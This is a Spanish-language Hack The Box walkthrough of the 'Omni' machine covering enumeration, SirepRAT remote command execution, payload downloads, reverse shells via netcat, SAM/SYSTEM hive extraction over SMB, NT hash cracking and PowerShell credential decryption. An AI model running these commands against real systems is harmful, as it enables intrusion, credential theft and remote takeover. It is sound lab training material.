HTB_Omni
Omni {-}
Introduccion {-}
La maquina del dia se llama Omni.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.204
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.204
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.204 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p135,5985,8080,29817,29819,29820 10.10.10.204 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
135 | msrpc | rpcclient con nul session | |
5985 | WinRM | evil-winrm | credenciales |
8080 | http | Web Fuzzing | |
29817 | msrpc | Puertos por defecto de windows | |
29819 | msrpc | Puertos por defecto de windows | |
29820 | msrpc | Puertos por defecto de windows |
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.204:8080
Es un Windows Device Portal con un HTTPapi y un WWW-Athentication.
Checkear la web {-}
Si entramos en la url http://10.10.10.204:8080
, Vemos un panel basic authentication.
Checkeando la cavezera con curl {-}
curl -s -X GET "http://10.10.10.204:8080"
curl -s -X GET "http://10.10.10.204:8080" -I
Vemos en la cabezera que el basic-auth es sobre un Windows Device Portal
Buscamos si existe una vulnerabilidad asociada en google poniendo Windows Device Portal github exploit
y encontramos
una pagina interesante de SirepRAT que nos permitiria ejecutar RCE.
Vulnerability Assessment {-}
Windows Device Portal {-}
git clone https://github.com/SafeBreach-Labs/SirepRAT
cd SirepRAT
python3 setup.py install
pip install -r requirements.txt
python3 SirepRAT.py
Intentamos leer un archivo de la maquina victima
python3 SirepRAT.py 10.10.10.204 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v
Aqui vemos que podemos leer archivos del systema. Intentamos ejecutar comandos.
Nos ponemos en escucha por trasa ICMP
tcpdump -i tun0 icmp -n
y ejecutamos el comando
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --cmd "C:\Windows\System32\cmd.exe" --args " /c ping 10.10.14.8" --v
Aqui vemos que recibimos la traza y que tenemos capacidad de ejecucion remota de comando.
Vuln exploit & Gaining Access {-}
Ganando accesso con SirepRAT {-}
-
Descargamos nc64
wget https://github.com/vinsworldcom/NetCat64/releases/download/1.11.6.4/nc64.exe
-
Creamos un servidor web con python
python3 -m http.server 80
-
Intentamos descargar el binario desde la maquina victima
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c certutil.exe -f -urlcache -split http://10.10.14.8/nc64.exe C:\Windows\Temp\nc64.exe" --v
Aqui vemos que no a pasado nada y que no hemos recibido ningun GET a nuestro servidor python.
Miramos si funcciona usando un directorio applocker
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c certutil.exe -f -urlcache -split http://10.10.14.8/nc64.exe C:\Windows\System32\spool\drivers\color\nc64.exe" --v
No funcciona. Intentamos con Powershell
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "powershell" --args " /c iwr -uri http://10.10.14.8/nc64.exe -OutFile C:\Windows\System32\spool\drivers\color\nc64.exe" --v
Ahora si. Intentamos entablarnos una reverseshell.
-
Nos ponemos en escucha por el puerto 443
rlwrap nc -nlvp 443
-
Lanzamos la shell
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.8 443" --v
Ya estamos a dentre de la maquina victima.
whoami
#Output
'whoami' is not recognized as an internal or external command.
echo %USERNAME%
#Output
Omni
Como no hay directorio de usuarios en la maquina buscamos recursivamente por un fichero llamado user.txt
dir /r /s user.txt
cd C:\Data\Users\app
type user.txt
Aqui vemos quel fichero esta de typo System.Management.Automation.PSCredential
que significa que esta cifrado. Intentamos leerlo con
el comando (Import-CliXml -Path user.txt)
pero no nos deja. Miramos los derechos de este fichero con icacls user.txt
y vemos quel usuario
app tiene los derechos full para este fichero. Esto significa que nos tenemos que convertir en el usuario app.
User Pivoting {-}
Lo raro aqui es que si hacemos
un net user
, no vemos que existe el usuario omni y esto es turbio porque tambien podria decir que somos un usuario privilegiado.
Si creamos una carpeta en C:\Data\Users
vemos que podemos crearla sin problema. Intentamos ver si podemos recuperar cosas como sam.
cd C:\Data\Users
mkdir Temp
cd Temp
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup
Nos transferimos los ficheros creando un recurso compartido a nivel de red.
impacket-smbserver smbFolder $(pwd) -smb2support -username s4vitar -password s4vitar123
Desde la maquina victima, nos creamos una unidad logica, la qual se conecta a nuestro recurso compartido
net use x: \\10.10.14.8\smbFolder /user:s4vitar s4vitar123
dir x:\
dir C:\Temp
copy sam.backup x:\sam
copy system.backup x:\system
Crackeando los hashes NT con John {-}
Ahora intentamos dumpear los hashes de los usuarios con secretsdump.
secretsdump.py -sam sam -system system LOCAL
Hemos podido obtener los hashes NT de los usuarios del systema. Los copiamos y los metemos en un fichero llamado hashes.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes --format=NT
Aqui hemos podido crackear el hash del usuario app
Creando una reverseshell desde Windows Device Portal {-}
Nos connectamos al portal de la web a la url http://10.10.10.204:8080
. Aqui buscamos manera de ejecutar comandos como en Cualquier gestor
de contenido o panel de administracion. Y encontramos en el menu Processes un link llamado Run command.
Probamos con echo %USERNAME%
y ejecuta el comando como el usuario app. Creamos un reverseshell.
-
Nos ponemos en escuchar por el puerto 443
rlwrap nc -nlvp 443
-
Lanzamos el ncat previamente uploadeado en el systema
C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.8 443
Ya somos el usuario app y intentamos ejecutar la operacion cryptografica para leer la flag.
cd C:\Data\app
powershell
(Import-CliXml -Path user.txt)
(Import-CliXml -Path user.txt).GetNetworkCredential()
(Import-CliXml -Path user.txt).GetNetworkCredential().password
Ya tenemos la flag.
Privilege Escalation {-}
Rootear la maquina {-}
dir
Aqui vemos un fichero un poco raro llamado iot-admin.xml y el contenido tambien es un secret string.
(Import-CliXml -Path iot-admin.xml).GetNetworkCredential().password
Ya vemos un password para el usuario admin. Intentamos connectar al Windows Device Portal con el usuario administrator y podemos connectarnos. Esto significa que vamos a hacer lo mismo que con el usuario app.
-
Nos ponemos en escuchar por el puerto 443
rlwrap nc -nlvp 443
-
Lanzamos el ncat previamente uploadeado en el systema
C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.8 443
Ya somos el usuario Administrator y intentamos ejecutar la operacion cryptografica para leer la flag.
cd C:\Data\administrator
powershell
(Import-CliXml -Path root.txt)
(Import-CliXml -Path root.txt).GetNetworkCredential()
(Import-CliXml -Path user.txt).GetNetworkCredential().password
Ya tenemos la flag del usuario Administrator.